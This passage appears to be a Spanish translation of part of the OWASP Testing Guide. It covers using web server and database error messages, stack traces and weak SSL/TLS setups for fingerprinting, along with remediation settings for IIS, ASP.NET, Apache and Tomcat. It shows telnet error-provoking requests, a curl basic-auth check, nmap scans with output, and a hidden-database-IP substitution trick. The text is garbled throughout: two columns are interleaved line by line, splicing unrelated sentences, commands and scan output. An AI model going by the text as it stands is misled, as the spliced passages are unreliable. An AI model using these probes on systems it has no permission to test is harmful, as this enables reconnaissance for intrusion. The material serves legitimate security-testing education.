servidores web pueden proporcionar uno de estos códigos de error,
penetración durante sus actividades, ya que revelan mucha información sobre
dependiendo de su aplicación HTTP.
bases de datos, errores y otros componentes tecnológicos directamente
relacionados con aplicaciones web.
Probar en busca de información divulgada en los códigos de error del

servidor web está relacionado con las pruebas de información en los
Esta sección analiza los códigos más comunes (mensajes de error) y se enfoca
en su importancia durante una evaluación de la vulnerabilidad. encabezados HTTP, como se describe en la sección Use huellas digitales
en el servidor web (OTG-INFO-002).
El aspecto más importante para esta actividad es centrar la atención en estos

errores, verlos como una colección de información que ayudará en los pasos Errores de servidores de aplicaciones
de nuestro análisis. Una buena colección puede facilitar la eficiencia de la
evaluación reduciendo el tiempo total tomado para realizar la prueba de Los errores de aplicación son devueltos por la misma aplicación más que
penetración. por el servidor web. Estos pueden ser mensajes de error de código del
framework (ASP, JSP etc.) o pueden ser errores específicos devueltos por
el código de la aplicación. Los errores detallados de la aplicación
normalmente proporcionan información de las rutas del servidor,
Los atacantes a veces usan motores de búsqueda para localizar errores bibliotecas instaladas y versiones de aplicaciones.
que divulguen la información. Las búsquedas se realizan para encontrar
los sitios erróneos como víctimas al azar, o es posible buscar errores en
un sitio específico utilizando el motor de búsqueda, herramientas de filtro
Errores de base de datos

241
Los errores de base de datos son devueltos por el sistema de base de no maneja la excepción de una forma controlada. Esto puede ser causado
datos cuando hay un problema con la consulta o la conexión. Cada por un problema de resolución del nombre de la base de datos,
sistema de base de datos, como MySQL, Oracle o MSSQL, tiene su propio procesamiento de valores variable inesperados u otros problemas de red.
conjunto de errores. Esos errores pueden proporcionar información
confidencial como las IP del servidor de base de datos, tablas, columnas y
datos de inicio de sesión.
Considere el escenario donde tenemos un portal de administración de base de
datos, que puede utilizarse como un front-end GUI para emitir consultas de
base de datos, crear tablas y modificar campos de bases de datos. Durante el
Además, hay muchas técnicas de explotación de inyección SQL que POST de las credenciales de inicio de sesión, el siguiente mensaje de error se
utilizan los mensajes de error detallados desde el controlador de la base presenta en las pruebas de penetración. El mensaje indica la presencia de un
de datos. Para información más detallada sobre este tema vea Pruebas de servidor de base de datos MySQL:
inyecciones de SQL (OTG-INPVAL-005).
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)

Los errores de servidor web no son la única respuesta útil que requieren
análisis de seguridad. Considere el siguiente mensaje de error de ejemplo: [MySQL][ODBC 3.51 Driver]Unknown MySQL server host
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access Si vemos en el código HTML de la página de inicio de sesión la presencia de
denied un campo oculto con una IP de una base de datos, podemos intentar cambiar
este valor en la URL con la dirección de un servidor de base de datos bajo el
control de evaluadores de penetración, en un intento de engañar a la
aplicación para que piense que la conexión fue exitosa.
¿Qué pasó? A continuación vamos a explicarlo paso a paso.
Otro ejemplo: sabiendo cuál es el servidor de base de datos que sirve a una
En este ejemplo, el 80004005 es un código de error IIS genérico que aplicación web, podemos aprovechar esta información para llevar a cabo una
indica que no pudo establecer una conexión con su base de datos inyección de SQL para ese tipo de base de datos o una prueba XSS
asociada. En muchos casos, el mensaje de error detalla el tipo de base de persistente.
datos. A menudo esto le indicará el sistema operativo subyacente por
asociación. Con esta información, el evaluador de penetración puede
planear una estrategia adecuada para la prueba de seguridad.
Cómo probar
A continuación vemos algunos ejemplos de pruebas de los mensajes de error

Mediante la manipulación de las variables que se pasan a la cadena de detallados, devueltos al usuario. Cada uno de los siguientes ejemplos tiene
información específica sobre el sistema operativo, versión de la aplicación,
conección de la base de datos, podemos invocar errores más detallados.
etc.
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open

Prueba: 404 Not Found
registry key ‘DriverId’
telnet <host target> 80
GET /<wrong page> HTTP/1.1

En este ejemplo, podemos ver un error genérico en la misma situación
que revela el tipo y versión del sistema de base de datos asociada y una
host: <host target>
dependencia de valores claves del registro del sistema operativo de
Windows.
<CRLF><CRLF>
Ahora veremos un ejemplo práctico con una prueba de seguridad contra

Resultado:
una aplicación web que pierde su enlace a su servidor de base de datos y
242
HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT Prueba: 400 Bad Request
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g telnet <host target> 80
Content-Length: 310 GET / HTTP/1.1
Connection: close <CRLF><CRLF>
Content-Type: text/html; charset=iso-8859-1
... Resultado:
<title>404 Not Found</title> HTTP/1.1 400 Bad Request
... Date: Fri, 06 Dec 2013 23:57:53 GMT
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Port 80</address>
Content-Length: 301
Prueba:
Connection: close
Problemas de red que llevan a que la aplicación no pueda acceder al servidor de
bases de datos Content-Type: text/html; charset=iso-8859-1
...
Resultado: <title>400 Bad Request</title>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ‘ ...
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
127.0.1.1 Port 80</address>
...
Prueba:
Error de autenticación debido a credenciales faltantes

Prueba: 405 Method Not Allowed

Resultado:
PUT /index.html HTTP/1.1
Versión de Firewall usada para autenticación:
Host: <host target>
Error 407
<CRLF><CRLF>
FW-1 at <firewall>: Unauthorized to access the document.
• Authorization is needed for FW-1.

Resultado:
• The authentication required by FW-1 is: unknown.
HTTP/1.1 405 Method Not Allowed
• Reason for failure of last attempt: no user
Date: Fri, 07 Dec 2013 00:48:57 GMT

243
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch <address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
<host target> Port 80</address>
Allow: GET, HEAD, POST, OPTIONS
...
Content-Length: 315
Prueba: 501 Method Not Implemented
Connection: close
RENAME /index.html HTTP/1.1
...
Host: <host target>
<title>405 Method Not Allowed</title>
<CRLF><CRLF>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at

<host target> Port 80</address> Resultado:
... HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Prueba: 408 Request Time-out Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
telnet <host target> 80 Allow: GET, HEAD, POST, OPTIONS
GET / HTTP/1.1 Vary: Accept-Encoding
-Wait X seconds – (Depending on the target server, 21 seconds for Apache by Content-Length: 299
default)
Connection: close

Resultado:
...
HTTP/1.1 408 Request Time-out
<title>501 Method Not Implemented</title>
Date: Fri, 07 Dec 2013 00:58:33 GMT
...
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at
Vary: Accept-Encoding <host target> Port 80</address>
Content-Length: 298 ...
Connection: close
Content-Type: text/html; charset=iso-8859-1 Prueba: 403 Forbidden:
... Enumeración de directorios usando mensajes de error de acceso denegado:<br>
<title>408 Request Time-out</title>
... http://<host>/<dir>

244
Hay varias maneras por las cuales se pueden manejar errores en

framework dot.net. Los errores se manejan en tres lugares en ASP. net:
Resultado:
• Dentro de la sección Web.config customErrors
Directory Listing Denied
• Dentro de global.asax Application_Error Sub
This Virtual Directory does not allow contents to be listed.
• En la aspx o página codebehind asociada en Page_Error sub
Herramientas
<customErrors defaultRedirect=”myerrorpagedefault.aspx”
• ErrorMint : sourceforge.net mode=”On|Off|RemoteOnly”>
• ZAP Proxy: owasp.org <error statusCode=”404” redirect=”myerrorpagefor404.aspx”/>
<error statusCode=”500” redirect=”myerrorpagefor500.aspx”/>
Referencias </customErrors>
• [RFC2616] ietf.org
• [ErrorDocument] httpd.apache.org Manejo de errores usando web.config
• [AllowOverride] httpd.apache.org mode=”On” encenderá los errores personalizados. mode=RemoteOnly

mostrará errores personalizados a los usuarios de la aplicación web
• [ServerTokens] httpd.apache.org
remota. Un usuario que accede al servidor local se presentará con la pila
de datos completa y los errores personalizados no se le mostrarán.
• [ServerSignature] httpd.apache.org
Todos los errores, salvo los expresamente señalados, causarán una

Remediación
redirección al recurso especificado por defaultRedirect, es decir,
myerrorpagedefault.aspx. Un código de estado 404 se manejará por
Manejo de errores en IIS y ASP .net
myerrorpagefor404.aspx.
ASP.net es un framework común de Microsoft utilizado para desarrollar
aplicaciones web. IIS es uno de los servidores web más utilizados. Los
errores se producen en todas las aplicaciones, los desarrolladores
Manejo de errores en Global.asax
intentan atrapar la mayoría de errores, pero es casi imposible cubrir cada
excepción (sin embargo, es posible configurar el servidor web para
Cuando se produce un error, se contacta al sub Application_Error. Un
suprimir que sean devueltos los mensajes de error detallado al usuario).
desarrollador puede escribir código para el redireccionamiento del
manejo de las páginas de error en esta sub.
Private Sub Application_Error (ByVal sender As Object, ByVal e As

IIS utiliza un conjunto de páginas de error personalizadas que
System.EventArgs)
generalmente se encuentra en c:\winnt\help\iishelp\common para
mostrar los errores como "404 page not found " al usuario.
Handles MyBase.Error
End Sub
Estas páginas por defecto se pueden cambiar y los errores personalizados

pueden configurarse para el servidor IIS. Cuando IIS recibe una solicitud
de una página aspx, la solicitud pasa al framework dot.net.
Manejo de errores en Page_Error sub
Esto es similar al error de aplicación.
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)

245
Handles MyBase.Error
End Sub The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its
dependencies) could have been removed, had its name
Jerarquía de errores en ASP .net
El sub Page_Error será procesado en primer lugar, seguido por global.asax

Application_Error sub, y, finalmente, la sección de customErrors en los errores personalizados de .net no están configurados.
web.config file.
Manejo de errores en Apache

La recolección de información en aplicaciones web con tecnología del lado
del servidor es bastante difícil, pero la información descubierta puede ser útil Apache es un servidor HTTP común para atender páginas HTML y PHP. Por
para la correcta ejecución de un intento de explotación (por ejemplo, defecto, Apache muestra la versión del servidor, los productos instalados y el
inyección SQL o ataques de Cross Site Scripting (XSS)) y puede reducir sistema operativo instalado dentro de las respuestas de error en HTTP.
falsos positivos.
Las respuestas a los errores pueden configurarse y personalizarse a nivel
global, por sitio o por directorio en el apache2.conf usando la Directiva
ErrorDocument [2]
Cómo probar el manejo de errores deASP.net y IIS
ErrorDocument 404 “Customized Not Found error message”
Encienda su navegador y escriba un nombre aleatorio de página
ErrorDocument 403 /myerrorpagefor403.html
http:\\www.mywebserver.com\anyrandomname.asp
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
Si el servidor devuelve
Los administradores del sitio pueden gestionar sus propios errores con el
The page cannot be found archivo .htaccess si la directiva global AllowOverride está configurada
correctamente en apache2.conf [3]
Internet Information Services

La información mostrada por Apache en los errores HTTP también puede
configurarse mediante las directivas ServerTokens [4] y ServerSignature [5]
en el archivo de configuración apache2.conf. "ServerSignature Off" (cargado
Significa que los errores personalizados de IIS no están configurados. Por por defecto) elimina la información del servidor de las respuestas de error,
favor observe la extensión .asp. mientras que ServerTokens [ProductOnly| Major| Minor| Minimal|OS|Full]
(Full por defecto) define qué información debe constar en las páginas de error.
También pruebe los errores personalizados de .net. Escriba un nombre

aleatorio de página con una extensión aspx en su navegador Manejo de errores en Tomcat
http:\\www.mywebserver.com\anyrandomname.aspx Tomcat es un servidor HTTP para alojar aplicaciones JSP y Java Servlet. Por
defecto Tomcat muestra la versión del servidor en las respuestas de error
HTTP.
Si el servidor devuelve
Server Error in ‘/’ Application. La personalización de las respuestas de error se puede configurar en el
documento de configuración web.xml.
--------------------------------------------------------------------------------
<error-page>

246
<error-code>404</error-code> Todas las pruebas anteriores podrían llevar a errores de aplicación que pueden
contener restos de pila de datos. Se recomienda utilizar un comprobador
<location>/myerrorpagefor404.html</location> aleatorio adicional a cualquier prueba manual.
</error-page>
Algunas herramientas, como OWASP ZAP y Burp proxy, detectarán estas

excepciones en la secuencia de respuesta como mientras están haciendo otros
Pruebas para determinar los rastros de pilas de datos(OTG-ERR-002) trabajos de pruebas y penetración.
Resumen
Los rastros de pilas de datos no son vulnerabilidades por sí mismas, pero a Pruebas de Caja Gris
menudo revelan información que es interesante para un atacante. Los
atacantes intentan generar estos rastros de pila de datos mediante la alteración Buscar el código para las comunicaciones que causan una excepción
del ingreso a la aplicación web con peticiones HTTP con formato incorrecto y representada en una cadena o secuencia de salida. Por ejemplo, en Java podría
otros datos de ingreso. ser código en JSP que se ve asi:
<% e.printStackTrace( new PrintWriter( out ) ) %>
Si la aplicación responde con rastros de pilas de datos que no se manejan,

podría revelar información útil a los atacantes. Esta información podría
utilizarse en otros ataques. Proporcionar información de depuración como En algunos casos, el rastro de la pila de datos será un formato en HTML
resultado de las operaciones que generan errores se considera una mala específicamente, así que asegúrese de buscar elementos de rastros de pila de
práctica por varias razones. Por ejemplo, puede contener información sobre el datos.
funcionamiento interno de la aplicación como rutas relativas del punto donde
está instalada la aplicación o como se referencian los objetos internamente.
Busque la configuración para comprobar el manejo de errores y el uso de

páginas de error por defecto. Por ejemplo, en Java, esta configuración puede
Cómo probar encontrarse en web.xml.
Hay una variedad de técnicas que pueden provocar que mensajes de excepción Herramientas
se envíen en una respuesta HTTP. Tenga en cuenta que en la mayoría de los
casos se trata de una página HTML, pero las excepciones se pueden enviar • ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
como parte de las respuestas SOAP o REST también.
Attack_Proxy_Project
Algunas pruebas que se deben incluir son:

Referencias
• Entrada no válida (como la entrada que no es coherente con la lógica de la
aplicación). • [RFC2616] Hypertext Transfer Protocol - http://www.ietf.org/rfc/rfc2616.txt
• Las entradas que contienen caracteres no alfanuméricos o consultas de

sintaxis.
Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas
• Entradas vacías. insuficiente (OTG-CRYPST-001)
• Entradas que son muy largas. Resumen
• Acceso a páginas internas sin autenticación. Los datos sensibles deben ser protegidos cuando se transmiten a través de la
red. Dichos datos pueden incluir credenciales y tarjetas de crédito del usuario.
• Esquivar el flujo de la aplicación. Como regla general, si los datos se deben proteger cuando se almacenan, se
deben proteger también durante la transmisión.

247
La aplicación no debe transmitir información sensible a través de canales sin

codificar. Normalmente es posible encontrar la autenticación básica en HTTP,
HTTP es un protocolo de texto y normalmente se asegura mediante un túnel contraseña de ingreso o la cookie de sesión enviada a través de HTTP y, en general,
SSL/TLS, dando como resultado tráfico en HTTPS [1]. El uso de este otra información considerada sensible por las regulaciones, leyes o políticas
protocolo asegura no sólo confidencialidad, sino también la autenticación. Los organizacionales.
servidores se autentican mediante certificados digitales y también es posible
utilizar el certificado de cliente para una autenticación mutua.
Aunque los cifrados de alto nivel se apoyan hoy en día y son utilizados SSL/TLS Ciphers/Protocols/Keys débiles
normalmente, algún error de configuración en el servidor puede utilizarse para
forzar el uso de un cifrado débil - o, en el peor caso, ningún cifrado - Históricamente, ha habido limitaciones determinadas por el gobierno de Estados
permitiendo a un atacante acceder al canal de comunicación supuestamente Unidos, que permiten la exportación del cifrado sólo de un tamaño de hasta 40
seguro. Otras configuraciones erróneas pueden usarse para un ataque de bits, una longitud de clave que podría ser rota y permitiría el descifrado de
negación de servicio. comunicaciones. Desde entonces, las regulaciones de exportación criptográfica se
han allanado a un tamaño de clave máximo de 128 bits.
Asuntos comúnes
Es importante comprobar que la configuración de SSL ha sido usada para evitar la
Se produce una vulnerabilidad si se utiliza el protocolo HTTP para transmitir puesta en marcha del soporte criptográfico que podría ser fácilmente derrotado.
información sensible [2] (e.g. credenciales transmitidas en HTTP [3]). Para alcanzar este objetivo, los servicios basados en SSL no deberían ofrecer la
posibilidad de escoger una suite de cifrado débil. Una suite de cifrado se especifica
mediante un protocolo de cifrado (por ejemplo, DES, RC4, AES), la longitud de
cifrado de clave (por ejemplo, 40, 56 o 128 bits) y un algoritmo de hash (SHA,
La presencia de un servicio SSL/TLS es buena, pero aumenta la superficie de MD5) utilizado para verificar la integridad.
ataque y pueden existir las siguientes vulnerabilidades:
Brevemente, los puntos clave para la determinación de la suite de cifrado son las
• Los protocolos SSL/TLS, cifrados, claves y renegociación, deben estar siguientes:
correctamente configurados.
• La validez del certificado debe estar garantizada.

[1] El cliente envía al servidor un mensaje ClientHello, especificando, entre
otros datos, el protocolo y las suites de cifrado que puede manejar. Tome en
cuenta que un cliente es generalmente un navegador web (actualmente, el más
Otras vulnerabilidades vinculadas a esto son: popular es un cliente SSL), pero no necesariamente, ya que puede ser
cualquier aplicación habilitada para SSL; lo mismo se aplica para el servidor,
que puede no ser un servidor web, aunque este es el caso más común [9].
• Debe actualizarse el software expuesto debido a la posibilidad de vulnerabilidades

conocidas [4].
[2] El servidor responde con un mensaje de ServerHello, que contiene la suite
• Use banderas de seguridad para las Cookies de sesión [5]. de protocolo y algoritmo de cifrado elegidos que serán utilizados para esta
sesión (generalmente el servidor selecciona la suite de protocolo y algoritmo
• El uso de Seguridad estricta de transporte HTTP (HSTS) [6]. de cifrado más fuerte que soporta tanto el cliente como el servidor).
• La presencia tanto de HTTP como HTTPS, lo cual se puede utilizar también para
interceptar tráfico [7], [8].
Es posible (por ejemplo, por medio de las directivas de configuración)
• La presencia de contenido mezclado de HTTPS y HTTP en la misma página, lo especificar qué suites de cifrado el servidor obedecerá. De esta manera, usted
cual puede usarse para filtrar información. puede controlar si las conversaciones con los clientes aceptarán solamente un
cifrado de 40 bits.
Datos sensibles transmitidos en texto transparente

[1] El servidor envía su mensaje de certificado y, si requiere autenticación del
cliente, también envía un mensaje de CertificateRequest al cliente.

248
• Cada navegador viene con una lista previamente cargada de CA de confianza,

contra la cual se compara el certificado de firma de CA (esta lista se puede
[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del personalizar y ampliar a voluntad). Durante las negociaciones iniciales con un
cliente. servidor HTTPS, si el certificado del servidor se refiere a una entidad
desconocida para el navegador, se genera una advertencia. Esto sucede más a
menudo debido a que una aplicación web se basa en un certificado firmado por
una CA autoestablecida. Si debe considerarse esto como un problema, depende
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del de varios factores. Por ejemplo, esto puede estar bien para un entorno de Intranet
certificado digital del servidor. (piense en correo web corporativo que se proporciona vía HTTPS; aquí,
obviamente, todos los usuarios reconocen la CA interna como una CA de
confianza). Sin embargo, cuando se proporciona un servicio vía Internet al
público en general, (es decir, cuando es importante verificar positivamente la
Validez del certificado SSL – cliente y servidor identidad del servidor con el cual nos comunicamos), generalmente es
imprescindible contar con una CA de confianza, que es reconocida por toda la
Al acceder a una aplicación web mediante el protocolo HTTPS, se establece base de usuarios (y aquí paramos nuestras observaciones; no ahondamos más en
un canal seguro entre el cliente y el servidor. Luego se establece la identidad lo que implica el modelo de confianza utilizado para certificados digitales).
de uno (el servidor) o de ambas partes (cliente y servidor) por medio de
certificados digitales. Así, una vez determinada la suite de cifrado, el "SSL
Handshake" continúa con el intercambio de los certificados:
• Los certificados tienen un período de validez asociado, por lo tanto, pueden
expirar. Una vez más, se nos advierte mediante el explorador sobre esto. Un
servicio público necesita un certificado temporal válido; de lo contrario, significa
[1] El servidor envía su mensaje de certificado y, si se requiere autenticación que estamos hablando con un servidor cuyo certificado fue emitido por alguien
de cliente, también envía al cliente un mensaje de CertificateRequest. de confianza, pero caducó y no ha sido renovado.
[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del • ¿Qué pasa si el nombre en el certificado y el nombre del servidor no coinciden?
cliente. Si esto sucede, puede sonar sospechoso. Por varias razones, esto no es tan raro
de ver. Un sistema puede albergar un número de hosts virtuales basados en el
nombre, que comparten la misma dirección IP y se identifican mediante el HTTP
1.1 Host: header information. En este caso, puesto que el protocolo de enlace
[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del
SSL comprueba el certificado del servidor antes de que se procese la petición
certificado digital del servidor.
HTTP, no es posible asignar certificados diferentes a cada servidor virtual. Por
lo tanto, si el nombre del sitio y el nombre registrado en el certificado no
coinciden, tenemos una condición que típicamente se señala por parte del
navegador. Para evitar esto, deben utilizarse servidores virtuales basados en IP.
Para que la comunicación se establezca, se debe pasar una serie de controles
[33] y [34] describen técnicas para lidiar con este problema y permitir que los
sobre los certificados. Aunque hablar de la autenticación basada en SSL y
hosts virtuales basados en el nombre estén correctamente referenciados.
certificados está más allá del alcance de esta guía, esta sección se centrará en
los principales criterios involucrados en determinar la validez del certificado:
Otras vulnerabilidades
• Compruebe si la autoridad de certificación (CA) es conocida (es decir, una que
La presencia de un nuevo servicio, que escucha en un puerto tcp separado, puede
se considera de confianza);
generar vulnerabilidades tales como las de infraestructura si el software no está
actualizado [4]. Además, para la correcta protección de datos durante la
• Compruebe que el certificado es válido;
transmisión, la Cookie de sesión debe usar la bandera de seguridad [5] y algunas
directivas deben enviarse al navegador para aceptar sólo tráfico seguro (HSTS
• Compruebe que el nombre del sitio y el nombre registrado en el certificado
[6], CSP).
concuerden.
También hay algunos ataques que pueden utilizarse para interceptar el tráfico si
Vamos a examinar cada comprobación más detalladamente.
el servidor web expone la solicitud HTTP y HTTPS [6], [7] o en el caso de
recursos HTTP y HTTPS mezclados en la misma página.

249
Cómo probar Al momento de escribir este documento, estos criterios son ampliamente
reconocidos como una lista de verificación mínima:
Prueba de transmisión de datos sensibles en texto claro
Diversos tipos de información que deben ser protegidos pueden transmitirse

también en texto claro. Es posible verificar si esta información se transmite a • No deben utilizarse cifrados débiles (por ejemplo, menos de 128 bits [10]; sin
través de HTTP en lugar de HTTPS. Por favor, consulte las pruebas suites de cifrado NULL, debido a que no utilizan encriptado; sin Anonymous
específicas para ver detalles completos, de credenciales [3] y otro tipo de Diffie-Hellmann, debido a que no provee autenticación).
datos [2].
• Los protocolos débiles deben desactivarse (por ejemplo: SSLv2 debe desactivarse
debido a las debilidades conocidas en el diseño del protocolo [11]).
Ejemplo 1. Autenticación básica en HTTP • La renegociación debe estar configurada correctamente (por ejemplo: Insecure
Renegotiation debe desactivarse, debido a ataques MiTM [12] y las
Un ejemplo típico es el uso de autenticación básica en HTTP porque con la renegociaciones iniciadas por el cliente deben desactivarse, debido a la
autenticación básica, después de iniciar sesión, las credenciales son vulnerabilidad de Negación de Servicio [13]).
codificadas - y no cifradas - en las cabeceras HTTP.
• No deben haber suites de nivel de cifrado Export (EXP), debido a que puede ser
$ curl -kis http://example.com/restricted/ fácilmente roto [10].
HTTP/1.1 401 Authorization Required • La longuitud de claves de los certificados X.509 deben ser fuertes (por ejemplo si
se utiliza RSA o DSA la clave debe ser de al menos 2048 bits).
Date: Fri, 01 Aug 2013 00:00:00 GMT
• Los certificados X.509 deben firmarse únicamente con algoritmos de hashing
WWW-Authenticate: Basic realm=”Restricted Area” seguros (por ejemplo. sin firma al usar MD5 hash, debido a a ataques de colisión
en este hash).
• Las claves deben generarse con la correcta entropía (e.g, Claves débiles generadas
Vary: Accept-Encoding con Debian) [14].
Content-Length: 162
Content-Type: text/html Un lista de control más completo incluye:
<html><head><title>401 Authorization Required</title></head> • La renegociación segura debe estar habilitada.
<body bgcolor=white> • MD5 no debe usarse, debido a los ataques de colisión conocidos. [35]
<h1>401 Authorization Required</h1> • RC4 no debe usarse, debido a los ataques cripto-analíticos [15].
• El servidor debe estar protegido de ataques BEAST [16].
• El servidor debe estar protegido de ataques CRIME, la compresión TLS debe

Invalid login credentials!
estar deshabilitada [17].
• El servidor debe soportar Forward Secrecy [18].

</body></html>
Las siguientes normas pueden ser utilizadas como referencia mientras se
evalúan los servidores SSL:
Prueba de vulnerabilidades de SSL/TLS Ciphers/Protocolos/Claves
• PCI-DSS v2.0 en el punto 4.1 requiere que las partes compatibles utilicen
La gran cantidad de suites de cifrado disponible y el rápido progreso en
«criptografía fuerte» sin definir precisamente los algoritmos y longitudes de las
criptoanálisis hacen de las pruebas del servidor SSL una tarea nada trivial.
claves. La interpretación común, basada parcialmente en las versiones anteriores de

250
la norma, es que el cifrado de la clave sea de al menos 128 bits, sin algoritmos de 22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
exportación fuertes y sin usar SSLv2 [19].
25/tcp open smtp syn-ack Exim smtpd 4.80
• Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] y
SSL Threat Model [20] han sido propuestos para estandarizar la configuración y 26/tcp open smtp syn-ack Exim smtpd 4.80
evaluación de servidor SSL. Pero está menos actualizada que SSL Server tool [21].
80/tcp open http syn-ack
• OWASP tiene un gran cantidad de recursos para SSL/TLS Security [22], [23],
[24], [25]. [26]. 110/tcp open pop3 syn-ack Dovecot pop3d
Algunas herramientas y escáneres tanto libres (por ejemplo SSLAudit [28] o 143/tcp open imap syn-ack Dovecot imapd
SSLScan [29]) como comerciales (por ejemplo Tenable Nessus [27]), pueden
utilizarse para evaluar las vulnerabilidades SSL/TLS. Pero debido a la evolución de 443/tcp open ssl/http syn-ack Apache
estas vulnerabilidades, una buena manera de probar es comprobar manualmente
con openssl [30] o utilice las herramientas de salida como ingreso para la 465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
evaluación manual usando las referencias.
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d

A veces, el servicio SSL/TLS habilitado no es directamente accesible y el
evaluador puede acceder a él a través de un proxy HTTP utilizando el método Service Info: Hosts: example.com
CONNECT [36]. La mayoría de las herramientas intentarán conectarse al puerto
tcp deseado para iniciar el protocolo de enlace SSL/TLS. Esto no funcionará ya que Service detection performed. Please report any incorrect results at
el puerto deseado es accesible sólo a través de proxy HTTP. El evaluador http://nmap.org/submit/ .
fácilmente puede evitar esto usando software de reemplazo como socat [37].
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
Ejemplo 2. reconocimiento de servicio SSL mediante nmap

Ejemplo 3. Comprobando la información del certificado, cifrados débiles
El primer paso es identificar los puertos que tienen atados servicios SSL/TLS. Los y SSLv2 vía nmap
puertos tcp con SSL para los servicios web y correo son normalmente - pero no
limitados a - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop). Nmap tiene dos secuencias de comandos para comprobar la información del
certificado, Weak Ciphers and SSLv2 [31].
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995

En este ejemplo buscamos servicios SSL usando nmap con la opción "-sV", que se www.example.com
utiliza para identificar servicios y también es capaz de identificar los servicios SSL
[31]. Otras opciones, para este ejemplo en particular, deben ser personalizadas. A Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
menudo, en una prueba de penetración de aplicaciones web, el alcance se limita al
puerto 80 y 443. Nmap scan report for www.example.com (127.0.0.1)
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com Host is up (0.090s latency).
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST rDNS record for 127.0.0.1: www.example.com
Nmap scan report for www.example.com (127.0.0.1) PORT STATE SERVICE
Host is up, received user-set (0.20s latency). 443/tcp open https
Not shown: 89 filtered ports | ssl-cert: Subject: commonName=www.example.org
Reason: 89 no-responses | Issuer: commonName=*******
PORT STATE SERVICE REASON VERSION | Public Key type: rsa
21/tcp open ftp syn-ack Pure-FTPd | Public Key bits: 1024

251
| Not valid before: 2010-01-23T00:00:00+00:00 | ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00 | SSLv3:
| MD5: ******* | ciphers:
|_SHA-1: ******* | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| ssl-enum-ciphers: | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| SSLv3: | TLS_RSA_WITH_RC4_128_SHA - strong
| ciphers: | compressors:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong | NULL
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLSv1.0:
| TLS_RSA_WITH_RC4_128_SHA - strong | ciphers:
| compressors: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| NULL | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0: | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong |_ least strength: strong
| TLS_RSA_WITH_RC4_128_SHA - strong 993/tcp open imaps
| compressors: | ssl-cert: Subject: commonName=*.exapmple.com
| NULL | Issuer: commonName=*******
|_ least strength: strong | Public Key type: rsa
465/tcp open smtps | Public Key bits: 2048
| ssl-cert: Subject: commonName=*.exapmple.com | Not valid before: 2010-01-23T00:00:00+00:00
| Issuer: commonName=******* | Not valid after: 2020-02-28T23:59:59+00:00
| Public Key type: rsa | MD5: *******
| Public Key bits: 2048 |_SHA-1: *******
| Not valid before: 2010-01-23T00:00:00+00:00 | ssl-enum-ciphers:
| Not valid after: 2020-02-28T23:59:59+00:00 | SSLv3:
| MD5: ******* | ciphers:
|_SHA-1: ******* | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

252
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong | TLSv1.0:
| TLS_RSA_WITH_RC4_128_SHA - strong | ciphers:
| compressors: | TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| NULL | TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLSv1.0: | TLS_RSA_WITH_RC4_128_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong |_ least strength: strong
| TLS_RSA_WITH_RC4_128_SHA - strong Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
| compressors:
